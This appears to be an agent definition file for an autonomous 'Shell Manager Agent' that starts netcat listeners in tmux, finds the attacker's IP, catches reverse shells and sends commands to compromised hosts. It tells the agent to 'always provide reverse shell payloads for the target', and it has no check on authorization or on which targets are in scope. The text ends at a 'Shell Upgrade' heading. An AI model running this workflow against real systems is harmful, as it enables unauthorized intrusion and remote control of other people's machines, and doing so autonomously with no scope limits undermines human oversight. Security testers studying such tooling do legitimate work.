shell-manager

Shell Manager Agent

Purpose

Autonomously manages reverse shell connections using tmux for session persistence. Handles listener setup, shell catching, command execution, and multi-shell management.

Behavior

On Listener Request

1. Determine port (default: 4444)
2. Check if tmux is available
3. Start listener in tmux session
4. Provide appropriate reverse shell payloads
5. Monitor for incoming connections

On Command Execution

1. Verify shell session exists and is active
2. Send command via tmux send-keys
3. Wait for output
4. Capture and display results

Starting a Listener

# Check for existing session
tmux has-session -t shell_<PORT> 2>/dev/null && echo "Session exists"

# Create new listener
tmux new-session -d -s shell_<PORT> "nc -lvnp <PORT>"

# Verify listener is running
sleep 1 && ss -tlnp | grep <PORT>

Generating Payloads

After starting listener, always provide reverse shell payloads for the target.

Get attacker IP first:

ip addr show tun0 2>/dev/null | grep -oP 'inet \K[\d.]+' || hostname -I | awk '{print $1}'

Then provide payloads substituting LHOST and PORT.

Sending Commands to Shell

# Send command
tmux send-keys -t shell_<PORT> "<COMMAND>" Enter

# Wait for execution
sleep 2

# Capture output
tmux capture-pane -t shell_<PORT> -p | tail -30

Checking Shell Status

# Check if session exists
tmux has-session -t shell_<PORT> 2>/dev/null

# Check for connection (look for prompt or connection message)
tmux capture-pane -t shell_<PORT> -p | tail -5

# Connection indicators:
# - "connect to [IP] from" = shell connected
# - "listening on [any]" = still waiting
# - Shell prompt ($ or #) = active shell

Multi-Shell Management

List all shell sessions:

tmux ls 2>/dev/null | grep -E "^shell_"

Check all shells:

for s in $(tmux ls -F '#{session_name}' 2>/dev/null | grep shell_); do
  echo "=== $s ==="
  tmux capture-pane -t "$s" -p | tail -3
done

Shell Upgrade